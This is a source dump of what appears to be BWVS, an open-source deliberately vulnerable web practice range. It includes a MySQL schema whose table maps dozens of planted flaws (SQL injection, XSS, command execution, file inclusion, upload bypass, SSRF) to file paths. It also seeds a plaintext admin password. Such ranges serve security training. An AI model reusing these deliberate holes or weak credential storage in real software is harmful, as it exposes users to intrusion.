814 | // Small screen / tablet
815 | @container-tablet:             ((720px + @grid-gutter-width));
816 | //** For `@screen-sm-min` and up.
817 | @container-sm:                 @container-tablet;
818 | 
819 | // Medium screen / desktop
820 | @container-desktop:            ((940px + @grid-gutter-width));
821 | //** For `@screen-md-min` and up.
822 | @container-md:                 @container-desktop;
823 | 
824 | // Large screen / wide desktop
825 | @container-large-desktop:      ((1140px + @grid-gutter-width));
826 | //** For `@screen-lg-min` and up.
827 | @container-lg:                 @container-large-desktop;
828 | 


--------------------------------------------------------------------------------
/dwvs.sql:
--------------------------------------------------------------------------------
  1 | /*
  2 | Navicat MySQL Data Transfer
  3 | 
  4 | Source Server         : demo
  5 | Source Server Version : 50553
  6 | Source Host           : localhost:3306
  7 | Source Database       : dwvs
  8 | 
  9 | Target Server Type    : MYSQL
 10 | Target Server Version : 50553
 11 | File Encoding         : 65001
 12 | 
 13 | Date: 2018-02-05 20:55:52
 14 | */
 15 | 
 16 | SET FOREIGN_KEY_CHECKS=0;
 17 | 
 18 | -- ----------------------------
 19 | -- Table structure for account
 20 | -- ----------------------------
 21 | DROP TABLE IF EXISTS `account`;
 22 | CREATE TABLE `account` (
 23 |   `Id` int(11) NOT NULL,
 24 |   `rest` varchar(255) DEFAULT NULL,
 25 |   `own` varchar(255) DEFAULT NULL,
 26 |   PRIMARY KEY (`Id`)
 27 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
 28 | 
 29 | -- ----------------------------
 30 | -- Records of account
 31 | -- ----------------------------
 32 | INSERT INTO `account` VALUES ('1', '1', '666');
 33 | 
 34 | -- ----------------------------
 35 | -- Table structure for caffaine
 36 | -- ----------------------------
 37 | DROP TABLE IF EXISTS `caffaine`;
 38 | CREATE TABLE `caffaine` (
 39 |   `itemid` int(11) NOT NULL AUTO_INCREMENT,
 40 |   `itemcode` varchar(15) DEFAULT NULL,
 41 |   `itemdisplay` varchar(500) DEFAULT NULL,
 42 |   `itemname` varchar(50) DEFAULT NULL,
 43 |   `itemdesc` varchar(1000) DEFAULT NULL,
 44 |   `categ` varchar(200) DEFAULT NULL,
 45 |   `price` varchar(20) DEFAULT NULL,
 46 |   PRIMARY KEY (`itemid`)
 47 | ) ENGINE=MyISAM AUTO_INCREMENT=11 DEFAULT CHARSET=utf8;
 48 | 
 49 | -- ----------------------------
 50 | -- Records of caffaine
 51 | -- ----------------------------
 52 | INSERT INTO `caffaine` VALUES ('1', 'XVWA0987', 'img/XVWA0987.png', 'Affogato', 'An affogato (Italian, \"drowned\") is a coffee-based beverage. It usually takes the form of a scoop of vanilla gelato or ice cream topped with a shot of hot espresso. Some variations also include a shot of Amaretto or other liqueur.', 'Espresso,Vanilla Gelato', '4.69');
 53 | INSERT INTO `caffaine` VALUES ('2', 'XVWA3876', 'img/XVWA3876.png', 'Americano', 'An affogato (Italian, \"drowned\") is a coffee-based beverage. It usually takes the form of a scoop of vanilla gelato or ice cream topped with a shot of hot espresso. Some variations also include a shot of Amaretto or other liqueur.', 'Espresso', '5');
 54 | INSERT INTO `caffaine` VALUES ('3', 'XVWA4589', 'img/XVWA4589.png', 'Bicerin', 'An Americano is an espresso-based drink designed to resemble coffee brewed in a drip filter, considered popular in the United States of America. This drink consists of a single or double-shot of espresso combined with up to four or five ounces of hot water in a two-demitasse cup.', 'Espresso, Chocolate, Milk', '8.9');
 55 | INSERT INTO `caffaine` VALUES ('4', 'XVWA7619', 'img/XVWA7619.png', 'Café Bombón', 'Cafe Bombon was made popular in Valencia, Spain, and spread gradually to the rest of the country. It might have been re-created and modified to suit European tastebuds as in many parts of Asia such as Malaysia, Thailand and Singapore the same recipe for coffee which is called \"Kopi Susu Panas\" (Malaysia) or \"Kafe Ron\" (Thailand) has already been around for decades and is very popular in \"mamak\" stalls or \"kopitiams\" in Malaysia.', 'Espresso, Sweetened Milk', '7.08');
 56 | INSERT INTO `caffaine` VALUES ('5', 'XVWA5642', 'img/XVWA5642.png', 'Café au lait', 'Café au lait is a French coffee drink. In Europe, \"café au lait\" stems from the same continental tradition as \"caffè latte\" in Italy, \"café con leche\" in Spain, \"kawa biała\" (\"white coffee\") in Poland, \"Milchkaffee\" in Germany, \"Grosser Brauner\" in Austria, \"koffie verkeerd\" in Netherlands, and \"café com leite\" in Portugal, simply \"coffee with milk\".', 'Coffee, Milk', '10.15');
 57 | INSERT INTO `caffaine` VALUES ('6', 'XVWA7569', 'img/XVWA7569.png', 'Caffé corretto', 'Caffè corretto is an Italian beverage that consists of a shot of espresso with a shot of liquor, usually grappa, and sometimes sambuca or brandy. It is also known (outside of Italy) as an \"espresso corretto\". It is ordered as \"un caffè corretto alla grappa,\" \"[…] corretto alla sambuca,\" or \"[…] corretto al cognac,\" depending on the desired liquor.', 'Espresso, Liquor Shot', '6.01');
 58 | INSERT INTO `caffaine` VALUES ('7', 'XVWA3671', 'img/XVWA3671.png', 'Caffé latte', 'In Italy, latte means milk. What in English-speaking countries is now called a latte is shorthand for \"caffelatte\" or \"caffellatte\" (\"caffè e latte\"). The Italian form means \"coffee and milk\", similar to the French café au lait, the Spanish café con leche and the Portuguese café com leite. Other drinks commonly found in shops serving caffè lattes are cappuccinos and espressos. Ordering a \"latte\" in Italy will get the customer a glass of hot or cold milk. Caffè latte is a coffee-based drink made primarily from espresso and steamed milk. It consists of one-third espresso, two-thirds heated milk and about 1cm of foam. Depending on the skill of the barista, the foam can be poured in such a way to create a picture. Common pictures that appear in lattes are love hearts and ferns. Latte art is an interesting topic in itself.', 'Espresso, Milk', '6.04');
 59 | INSERT INTO `caffaine` VALUES ('8', 'XVWA1672', 'img/XVWA1672.png', 'Café mélange', 'In Italy, latte means milk. What in English-speaking countries is now called a latte is shorthand for \"caffelatte\" or \"caffellatte\" (\"caffè e latte\"). The Italian form means \"coffee and milk\", similar to the French café au lait, the Spanish café con leche and the Portuguese café com leite. Other drinks commonly found in shops serving caffè lattes are cappuccinos and espressos. Ordering a \"latte\" in Italy will get the customer a glass of hot or cold milk. Caffè latte is a coffee-based drink made primarily from espresso and steamed milk. It consists of one-third espresso, two-thirds heated milk and about 1cm of foam. Depending on the skill of the barista, the foam can be poured in such a way to create a picture. Common pictures that appear in lattes are love hearts and ferns. Latte art is an interesting topic in itself.', 'White Creame', '3.06');
 60 | INSERT INTO `caffaine` VALUES ('9', 'XVWA4276', 'img/XVWA4276.png', 'Cafe mocha', 'Café mélange is a black coffee mixed (french \"mélange\") or covered with whipped cream, very popular in Austria, Switzerland and the Netherlands.', 'Latte, Chocolate', '4.05');
 61 | INSERT INTO `caffaine` VALUES ('10', 'XVWA9680', 'img/XVWA9680.png', 'Cappuccino', 'Caffè Mocha or café mocha, is an American invention and a variant of a caffe latte, inspired by the Turin coffee beverage Bicerin. The term \"caffe mocha\" is not used in Italy nor in France, where it is referred to as a \"mocha latte\". Like a caffe latte, it is typically one third espresso and two thirds steamed milk, but a portion of chocolate is added, typically in the form of sweet cocoa powder, although many varieties use chocolate syrup. Mochas can contain dark or milk chocolate.', 'Espresso, Milk', '3.06');
 62 | 
 63 | -- ----------------------------
 64 | -- Table structure for dwvs_admin_message
 65 | -- ----------------------------
 66 | DROP TABLE IF EXISTS `dwvs_admin_message`;
 67 | CREATE TABLE `dwvs_admin_message` (
 68 |   `DWVS_admin_id` int(5) unsigned NOT NULL AUTO_INCREMENT,
 69 |   `DWVS_admin_name` varchar(20) NOT NULL,
 70 |   `DWVS_admin_passwd` varchar(50) NOT NULL,
 71 |   PRIMARY KEY (`DWVS_admin_id`)
 72 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
 73 | 
 74 | -- ----------------------------
 75 | -- Records of dwvs_admin_message
 76 | -- ----------------------------
 77 | 
 78 | -- ----------------------------
 79 | -- Table structure for dwvs_message
 80 | -- ----------------------------
 81 | DROP TABLE IF EXISTS `dwvs_message`;
 82 | CREATE TABLE `dwvs_message` (
 83 |   `DWVS_mes_id` int(5) unsigned NOT NULL AUTO_INCREMENT,
 84 |   `DWVS_message` text NOT NULL,
 85 |   `DWVS_mes_time` date NOT NULL,
 86 |   `DWVS_mes_name` varchar(60) DEFAULT NULL,
 87 |   `DWVS_uid` int(5) unsigned NOT NULL,
 88 |   PRIMARY KEY (`DWVS_mes_id`),
 89 |   KEY `fk_uid` (`DWVS_uid`),
 90 |   CONSTRAINT `fk_uid` FOREIGN KEY (`DWVS_uid`) REFERENCES `dwvs_user_message` (`DWVS_user_id`)
 91 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
 92 | 
 93 | -- ----------------------------
 94 | -- Records of dwvs_message
 95 | -- ----------------------------
 96 | 
 97 | -- ----------------------------
 98 | -- Table structure for dwvs_user_message
 99 | -- ----------------------------
100 | DROP TABLE IF EXISTS `dwvs_user_message`;
101 | CREATE TABLE `dwvs_user_message` (
102 |   `DWVS_user_id` int(5) unsigned NOT NULL AUTO_INCREMENT,
103 |   `DWVS_user_name` varchar(60) DEFAULT NULL,
104 |   `DWVS_user_passwd` varchar(50) NOT NULL,
105 |   `DWVS_user_favicon` varchar(60) DEFAULT NULL,
106 |   `DWVS_user_enr_time` date NOT NULL,
107 |   PRIMARY KEY (`DWVS_user_id`)
108 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8;
109 | 
110 | -- ----------------------------
111 | -- Records of dwvs_user_message
112 | -- ----------------------------
113 | 
114 | -- ----------------------------
115 | -- Table structure for dwvs_vulnerability
116 | -- ----------------------------
117 | DROP TABLE IF EXISTS `dwvs_vulnerability`;
118 | CREATE TABLE `dwvs_vulnerability` (
119 |   `DWVS_Vulne_id` int(5) unsigned NOT NULL AUTO_INCREMENT,
120 |   `DWVS_Vulne_name` varchar(50) NOT NULL,
121 |   `DWVS_Vulne_type` varchar(50) NOT NULL,
122 |   `DWVS_Vulne_position` varchar(50) NOT NULL,
123 |   `DWVS_Vulne_correlate` varchar(50) DEFAULT NULL,
124 |   PRIMARY KEY (`DWVS_Vulne_id`)
125 | ) ENGINE=InnoDB AUTO_INCREMENT=42 DEFAULT CHARSET=utf8;
126 | 
127 | -- ----------------------------
128 | -- Records of dwvs_vulnerability
129 | -- ----------------------------
130 | INSERT INTO `dwvs_vulnerability` VALUES ('1', 'SQL联合查询注入', 'SQL注入漏洞', '/user/logCheck.php 、/user/updateName.php', 'http://www.jianshu.com/p/399881e79b1f');
131 | INSERT INTO `dwvs_vulnerability` VALUES ('2', 'SQL搜索型注入', 'SQL注入漏洞', '/search.php', null);
132 | INSERT INTO `dwvs_vulnerability` VALUES ('3', 'SQL报错型注入', 'SQL注入漏洞', '/messageSub.php 、/user/updateName.php', 'http://vinc.top/2017/04/06/');
133 | INSERT INTO `dwvs_vulnerability` VALUES ('4', 'SQL数字型注入', 'SQL注入漏洞', '/bug/sql_injection/sql_num.php', 'http://blog.csdn.net/wizardforcel/article/details/');
134 | INSERT INTO `dwvs_vulnerability` VALUES ('5', 'SQL字符型注入', 'SQL注入漏洞', '/bug/sql_injection/sql_string.php', 'https://www.cnblogs.com/zaki-Gui/p/5719920.html');
135 | INSERT INTO `dwvs_vulnerability` VALUES ('6', 'SQL基于时间的盲注', 'SQL注入漏洞', '/user/updatePass.php', null);
136 | INSERT INTO `dwvs_vulnerability` VALUES ('7', 'SQL逻辑注入', 'SQL注入漏洞', '/admin/logCheack.php', 'http://blog.csdn.net/greyfreedom/article/details/4');
137 | INSERT INTO `dwvs_vulnerability` VALUES ('8', 'SQL搜索型注入2', 'SQL注入漏洞', '/bug/sql_injection/sql_search.php', 'http://blog.csdn.net/cnbird2008/article/details/77');
138 | INSERT INTO `dwvs_vulnerability` VALUES ('9', '反射型 XSS', 'XSS漏洞', '/bug/xss/reflect_xss.php', 'http://www.freebuf.com/articles/web/42727.html');
139 | INSERT INTO `dwvs_vulnerability` VALUES ('10', '存储型 XSS', 'XSS漏洞', '/bug/xss/stored_xss.php', 'http://www.freebuf.com/articles/web/42727.html');
140 | INSERT INTO `dwvs_vulnerability` VALUES ('11', 'demo型 XSS', 'XSS漏洞', '/bug/xss/dom_xss.php', 'http://www.freebuf.com/articles/web/42727.html');
141 | INSERT INTO `dwvs_vulnerability` VALUES ('12', 'demo型 XSS 2', 'XSS漏洞', '/search.php', 'http://www.freebuf.com/articles/web/42727.html');
142 | INSERT INTO `dwvs_vulnerability` VALUES ('13', '反射型 XSS 2', 'XSS漏洞', '/search.php', 'http://www.freebuf.com/articles/web/42727.html');
143 | INSERT INTO `dwvs_vulnerability` VALUES ('14', '存储型 XSS 2', 'XSS漏洞', '/message.php', 'http://www.freebuf.com/articles/web/42727.html');
144 | INSERT INTO `dwvs_vulnerability` VALUES ('15', '暴力破解', '其他', '/user/login.php 、/admin/logCheack.php', null);
145 | INSERT INTO `dwvs_vulnerability` VALUES ('16', 'PHP远程命令执行漏洞', '命令执行漏洞', '/ping.php、/bug/code_exec/exec.php', 'https://www.cnblogs.com/xiaozi/p/7831529.html');
146 | INSERT INTO `dwvs_vulnerability` VALUES ('17', '本地文件包含漏洞', '文件包含漏洞', '/Info.php', null);
147 | INSERT INTO `dwvs_vulnerability` VALUES ('18', '任意文件包含漏洞', '文件包含漏洞', '/bug/file_include/any_include.php', 'http://blog.csdn.net/hitwangpeng/article/details/4');
148 | INSERT INTO `dwvs_vulnerability` VALUES ('19', '任意代码读取漏洞', '文件包含漏洞', '/Info.php、/bug/others/file_read.php', 'http://blog.csdn.net/hitwangpeng/article/details/4');
149 | INSERT INTO `dwvs_vulnerability` VALUES ('20', '目录限制文件包含', '文件包含漏洞', ' /bug/file_include/include_1.php', null);
150 | INSERT INTO `dwvs_vulnerability` VALUES ('21', '修改任意用户密码漏洞', '逻辑错误漏洞', '/user/updatePass.php', null);
151 | INSERT INTO `dwvs_vulnerability` VALUES ('22', 'Session劫持漏洞', 'Session劫持漏洞', '/user/updateName.php', null);
152 | INSERT INTO `dwvs_vulnerability` VALUES ('23', 'Apache文件解析漏洞', '上传漏洞', '/user/updeteAvatar.php', null);
153 | INSERT INTO `dwvs_vulnerability` VALUES ('24', '任意文件上传漏洞', '上传漏洞', '/bug/file_upload/any_upload.php', null);
154 | INSERT INTO `dwvs_vulnerability` VALUES ('25', 'JS限制文件上传', '上传漏洞', '/bug/file_upload/upload_js.php', null);
155 | INSERT INTO `dwvs_vulnerability` VALUES ('26', 'MIME限制文件上传', '上传漏洞', '/bug/file_upload/upload_mime.php', null);
156 | INSERT INTO `dwvs_vulnerability` VALUES ('27', '扩展名限制文件上传', '上传漏洞', '/bug/file_upload/upload_name.php', null);
157 | INSERT INTO `dwvs_vulnerability` VALUES ('28', '内容限制文件上传', '上传漏洞', '/bug/file_upload/upload_content.php', null);
158 | INSERT INTO `dwvs_vulnerability` VALUES ('29', '任意代码执行', '代码执行漏洞', '/bug/code_exec/code.php ', null);
159 | INSERT INTO `dwvs_vulnerability` VALUES ('30', 'ssrf', 'SSRF漏洞', '/bug/ssrf/ssrf.php ', null);
160 | INSERT INTO `dwvs_vulnerability` VALUES ('31', '无验证码爆破', '其他', '/bug/others/baopo.php ', 'http://blog.csdn.net/ls1120704214/article/details/');
161 | INSERT INTO `dwvs_vulnerability` VALUES ('32', '源码泄漏', '其他', '/bug/Source_code/code1 ', null);
162 | INSERT INTO `dwvs_vulnerability` VALUES ('33', '本地文件包含漏洞2', '文件包含漏洞', '/bug/file_include2 ', null);
163 | INSERT INTO `dwvs_vulnerability` VALUES ('34', 'php://input伪协议', '协议', '/bug/phpinput ', 'http://www.cnblogs.com/LittleHann/p/3665062.html');
164 | INSERT INTO `dwvs_vulnerability` VALUES ('35', 'php://filter伪协议', '协议', '/bug/xieyi/filter', 'http://www.cnblogs.com/LittleHann/p/3665062.html');
165 | INSERT INTO `dwvs_vulnerability` VALUES ('36', 'data://伪协议', '协议', '/bug/xieyi/data', 'http://www.cnblogs.com/LittleHann/p/3665062.html');
166 | INSERT INTO `dwvs_vulnerability` VALUES ('37', 'phar://伪协议1', '协议', '/bug/xieyi/phar1/include.php', 'http://www.cnblogs.com/LittleHann/p/3665062.html');
167 | INSERT INTO `dwvs_vulnerability` VALUES ('38', 'phar://伪协议2', '协议', '/bug/xieyi/phar2', 'http://www.cnblogs.com/LittleHann/p/3665062.html');
168 | INSERT INTO `dwvs_vulnerability` VALUES ('39', 'sql盲注', 'SQL注入漏洞', '/bug/sql_injection/sqli_blind', null);
169 | INSERT INTO `dwvs_vulnerability` VALUES ('40', 'strcmp', 'PHP', '/bug/php/md5.php', null);
170 | INSERT INTO `dwvs_vulnerability` VALUES ('41', '弱类型', 'PHP', '/bug/php/code.php', 'https://www.cnblogs.com/Mrsm1th/p/6745532.html');
171 | 
172 | -- ----------------------------
173 | -- Table structure for news
174 | -- ----------------------------
175 | DROP TABLE IF EXISTS `news`;
176 | CREATE TABLE `news` (
177 |   `id` int(11) NOT NULL,
178 |   `title` varchar(45) DEFAULT NULL,
179 |   `content` varchar(45) DEFAULT NULL,
180 |   PRIMARY KEY (`id`)
181 | ) ENGINE=InnoDB DEFAULT CHARSET=latin1;
182 | 
183 | -- ----------------------------
184 | -- Records of news
185 | -- ----------------------------
186 | INSERT INTO `news` VALUES ('1', 'Bugku', 'Bugku is very good.');
187 | INSERT INTO `news` VALUES ('2', 'Harry', 'Harry are very cool.');
188 | 
189 | -- ----------------------------
190 | -- Table structure for user
191 | -- ----------------------------
192 | DROP TABLE IF EXISTS `user`;
193 | CREATE TABLE `user` (
194 |   `uid` int(11) NOT NULL AUTO_INCREMENT,
195 |   `uname` varchar(20) CHARACTER SET utf8 NOT NULL COMMENT '用户名',
196 |   `pwd` varchar(20) CHARACTER SET utf8 NOT NULL COMMENT '密码',
197 |   `bill` float NOT NULL,
198 |   PRIMARY KEY (`uid`)
199 | ) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
200 | 
201 | -- ----------------------------
202 | -- Records of user
203 | -- ----------------------------
204 | INSERT INTO `user` VALUES ('1', 'admin', 'a123456', '50.9899');
205 | 


--------------------------------------------------------------------------------
/favicon/1.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/1.jpg


--------------------------------------------------------------------------------
/favicon/2.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/2.jpg


--------------------------------------------------------------------------------
/favicon/3.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/3.jpg


--------------------------------------------------------------------------------
/favicon/4.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/4.jpg


--------------------------------------------------------------------------------
/favicon/a.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/a.png


--------------------------------------------------------------------------------
/favicon/bg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/bg.png


--------------------------------------------------------------------------------
/favicon/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/bugku/BWVS/0b09e6f24ee4e40d771469187143dba92fbe592b/favicon/logo.png


--------------------------------------------------------------------------------
/header.php:
--------------------------------------------------------------------------------
 1 | 
 2 | 
 3 |   
 4 |     BWVS - Web漏洞渗透测试系统
 5 |     
 6 |     
 7 |     
 8 |     
23 | 	
27 |   
28 | 
29 | 
30 | 
31 |
32 | 71 |
72 |
-------------------------------------------------------------------------------- /index.php: -------------------------------------------------------------------------------- 1 | 5 | 6 | 7 | 8 | 9 | 10 | 15 | 16 | 17 |
欢迎贡献题目代码,官方QQ群:222959472,Email:admin@bugku.com
18 |
19 |

B W V S

20 |

Bugku Web Vulnerability System

21 |

Web漏洞渗透测试系统


22 |

23 | 开始实验 » 24 |

25 |
26 |
27 | 28 |

29 | 提示! 30 |

警告! 请勿在生产环境搭建. 31 |
32 |
33 |
34 |
35 |
36 |

37 | BWVS是一个开源的web漏洞靶场. 38 |

version 1.0 39 |
40 |
41 |
42 |
43 | 44 | 45 | -------------------------------------------------------------------------------- /js/bootstrap.min.js: -------------------------------------------------------------------------------- 1 | if("undefined"==typeof jQuery)throw new Error("Bootstrap requires jQuery");+function(a){"use strict";function b(){var a=document.createElement("bootstrap"),b={WebkitTransition:"webkitTransitionEnd",MozTransition:"transitionend",OTransition:"oTransitionEnd otransitionend",transition:"transitionend"};for(var c in b)if(void 0!==a.style[c])return{end:b[c]};return!1}a.fn.emulateTransitionEnd=function(b){var c=!1,d=this;a(this).one(a.support.transition.end,function(){c=!0});var e=function(){c||a(d).trigger(a.support.transition.end)};return setTimeout(e,b),this},a(function(){a.support.transition=b()})}(jQuery),+function(a){"use strict";var b='[data-dismiss="alert"]',c=function(c){a(c).on("click",b,this.close)};c.prototype.close=function(b){function c(){f.trigger("closed.bs.alert").remove()}var d=a(this),e=d.attr("data-target");e||(e=d.attr("href"),e=e&&e.replace(/.*(?=#[^\s]*$)/,""));var f=a(e);b&&b.preventDefault(),f.length||(f=d.hasClass("alert")?d:d.parent()),f.trigger(b=a.Event("close.bs.alert")),b.isDefaultPrevented()||(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one(a.support.transition.end,c).emulateTransitionEnd(150):c())};var d=a.fn.alert;a.fn.alert=function(b){return this.each(function(){var d=a(this),e=d.data("bs.alert");e||d.data("bs.alert",e=new c(this)),"string"==typeof b&&e[b].call(d)})},a.fn.alert.Constructor=c,a.fn.alert.noConflict=function(){return a.fn.alert=d,this},a(document).on("click.bs.alert.data-api",b,c.prototype.close)}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.isLoading=!1};b.DEFAULTS={loadingText:"loading..."},b.prototype.setState=function(b){var c="disabled",d=this.$element,e=d.is("input")?"val":"html",f=d.data();b+="Text",f.resetText||d.data("resetText",d[e]()),d[e](f[b]||this.options[b]),setTimeout(a.proxy(function(){"loadingText"==b?(this.isLoading=!0,d.addClass(c).attr(c,c)):this.isLoading&&(this.isLoading=!1,d.removeClass(c).removeAttr(c))},this),0)},b.prototype.toggle=function(){var a=!0,b=this.$element.closest('[data-toggle="buttons"]');if(b.length){var c=this.$element.find("input");"radio"==c.prop("type")&&(c.prop("checked")&&this.$element.hasClass("active")?a=!1:b.find(".active").removeClass("active")),a&&c.prop("checked",!this.$element.hasClass("active")).trigger("change")}a&&this.$element.toggleClass("active")};var c=a.fn.button;a.fn.button=function(c){return this.each(function(){var d=a(this),e=d.data("bs.button"),f="object"==typeof c&&c;e||d.data("bs.button",e=new b(this,f)),"toggle"==c?e.toggle():c&&e.setState(c)})},a.fn.button.Constructor=b,a.fn.button.noConflict=function(){return a.fn.button=c,this},a(document).on("click.bs.button.data-api","[data-toggle^=button]",function(b){var c=a(b.target);c.hasClass("btn")||(c=c.closest(".btn")),c.button("toggle"),b.preventDefault()})}(jQuery),+function(a){"use strict";var b=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.options=c,this.paused=this.sliding=this.interval=this.$active=this.$items=null,"hover"==this.options.pause&&this.$element.on("mouseenter",a.proxy(this.pause,this)).on("mouseleave",a.proxy(this.cycle,this))};b.DEFAULTS={interval:5e3,pause:"hover",wrap:!0},b.prototype.cycle=function(b){return b||(this.paused=!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setInterval(a.proxy(this.next,this),this.options.interval)),this},b.prototype.getActiveIndex=function(){return this.$active=this.$element.find(".item.active"),this.$items=this.$active.parent().children(),this.$items.index(this.$active)},b.prototype.to=function(b){var c=this,d=this.getActiveIndex();return b>this.$items.length-1||0>b?void 0:this.sliding?this.$element.one("slid.bs.carousel",function(){c.to(b)}):d==b?this.pause().cycle():this.slide(b>d?"next":"prev",a(this.$items[b]))},b.prototype.pause=function(b){return b||(this.paused=!0),this.$element.find(".next, .prev").length&&a.support.transition&&(this.$element.trigger(a.support.transition.end),this.cycle(!0)),this.interval=clearInterval(this.interval),this},b.prototype.next=function(){return this.sliding?void 0:this.slide("next")},b.prototype.prev=function(){return this.sliding?void 0:this.slide("prev")},b.prototype.slide=function(b,c){var d=this.$element.find(".item.active"),e=c||d[b](),f=this.interval,g="next"==b?"left":"right",h="next"==b?"first":"last",i=this;if(!e.length){if(!this.options.wrap)return;e=this.$element.find(".item")[h]()}if(e.hasClass("active"))return this.sliding=!1;var j=a.Event("slide.bs.carousel",{relatedTarget:e[0],direction:g});return this.$element.trigger(j),j.isDefaultPrevented()?void 0:(this.sliding=!0,f&&this.pause(),this.$indicators.length&&(this.$indicators.find(".active").removeClass("active"),this.$element.one("slid.bs.carousel",function(){var b=a(i.$indicators.children()[i.getActiveIndex()]);b&&b.addClass("active")})),a.support.transition&&this.$element.hasClass("slide")?(e.addClass(b),e[0].offsetWidth,d.addClass(g),e.addClass(g),d.one(a.support.transition.end,function(){e.removeClass([b,g].join(" ")).addClass("active"),d.removeClass(["active",g].join(" ")),i.sliding=!1,setTimeout(function(){i.$element.trigger("slid.bs.carousel")},0)}).emulateTransitionEnd(1e3*d.css("transition-duration").slice(0,-1))):(d.removeClass("active"),e.addClass("active"),this.sliding=!1,this.$element.trigger("slid.bs.carousel")),f&&this.cycle(),this)};var c=a.fn.carousel;a.fn.carousel=function(c){return this.each(function(){var d=a(this),e=d.data("bs.carousel"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c),g="string"==typeof c?c:f.slide;e||d.data("bs.carousel",e=new b(this,f)),"number"==typeof c?e.to(c):g?e[g]():f.interval&&e.pause().cycle()})},a.fn.carousel.Constructor=b,a.fn.carousel.noConflict=function(){return a.fn.carousel=c,this},a(document).on("click.bs.carousel.data-api","[data-slide], [data-slide-to]",function(b){var c,d=a(this),e=a(d.attr("data-target")||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,"")),f=a.extend({},e.data(),d.data()),g=d.attr("data-slide-to");g&&(f.interval=!1),e.carousel(f),(g=d.attr("data-slide-to"))&&e.data("bs.carousel").to(g),b.preventDefault()}),a(window).on("load",function(){a('[data-ride="carousel"]').each(function(){var b=a(this);b.carousel(b.data())})})}(jQuery),+function(a){"use strict";var b=function(c,d){this.$element=a(c),this.options=a.extend({},b.DEFAULTS,d),this.transitioning=null,this.options.parent&&(this.$parent=a(this.options.parent)),this.options.toggle&&this.toggle()};b.DEFAULTS={toggle:!0},b.prototype.dimension=function(){var a=this.$element.hasClass("width");return a?"width":"height"},b.prototype.show=function(){if(!this.transitioning&&!this.$element.hasClass("in")){var b=a.Event("show.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.$parent&&this.$parent.find("> .panel > .in");if(c&&c.length){var d=c.data("bs.collapse");if(d&&d.transitioning)return;c.collapse("hide"),d||c.data("bs.collapse",null)}var e=this.dimension();this.$element.removeClass("collapse").addClass("collapsing")[e](0),this.transitioning=1;var f=function(){this.$element.removeClass("collapsing").addClass("collapse in")[e]("auto"),this.transitioning=0,this.$element.trigger("shown.bs.collapse")};if(!a.support.transition)return f.call(this);var g=a.camelCase(["scroll",e].join("-"));this.$element.one(a.support.transition.end,a.proxy(f,this)).emulateTransitionEnd(350)[e](this.$element[0][g])}}},b.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse").removeClass("in"),this.transitioning=1;var d=function(){this.transitioning=0,this.$element.trigger("hidden.bs.collapse").removeClass("collapsing").addClass("collapse")};return a.support.transition?void this.$element[c](0).one(a.support.transition.end,a.proxy(d,this)).emulateTransitionEnd(350):d.call(this)}}},b.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()};var c=a.fn.collapse;a.fn.collapse=function(c){return this.each(function(){var d=a(this),e=d.data("bs.collapse"),f=a.extend({},b.DEFAULTS,d.data(),"object"==typeof c&&c);!e&&f.toggle&&"show"==c&&(c=!c),e||d.data("bs.collapse",e=new b(this,f)),"string"==typeof c&&e[c]()})},a.fn.collapse.Constructor=b,a.fn.collapse.noConflict=function(){return a.fn.collapse=c,this},a(document).on("click.bs.collapse.data-api","[data-toggle=collapse]",function(b){var c,d=a(this),e=d.attr("data-target")||b.preventDefault()||(c=d.attr("href"))&&c.replace(/.*(?=#[^\s]+$)/,""),f=a(e),g=f.data("bs.collapse"),h=g?"toggle":d.data(),i=d.attr("data-parent"),j=i&&a(i);g&&g.transitioning||(j&&j.find('[data-toggle=collapse][data-parent="'+i+'"]').not(d).addClass("collapsed"),d[f.hasClass("in")?"addClass":"removeClass"]("collapsed")),f.collapse(h)})}(jQuery),+function(a){"use strict";function b(b){a(d).remove(),a(e).each(function(){var d=c(a(this)),e={relatedTarget:this};d.hasClass("open")&&(d.trigger(b=a.Event("hide.bs.dropdown",e)),b.isDefaultPrevented()||d.removeClass("open").trigger("hidden.bs.dropdown",e))})}function c(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}var d=".dropdown-backdrop",e="[data-toggle=dropdown]",f=function(b){a(b).on("click.bs.dropdown",this.toggle)};f.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=c(e),g=f.hasClass("open");if(b(),!g){"ontouchstart"in 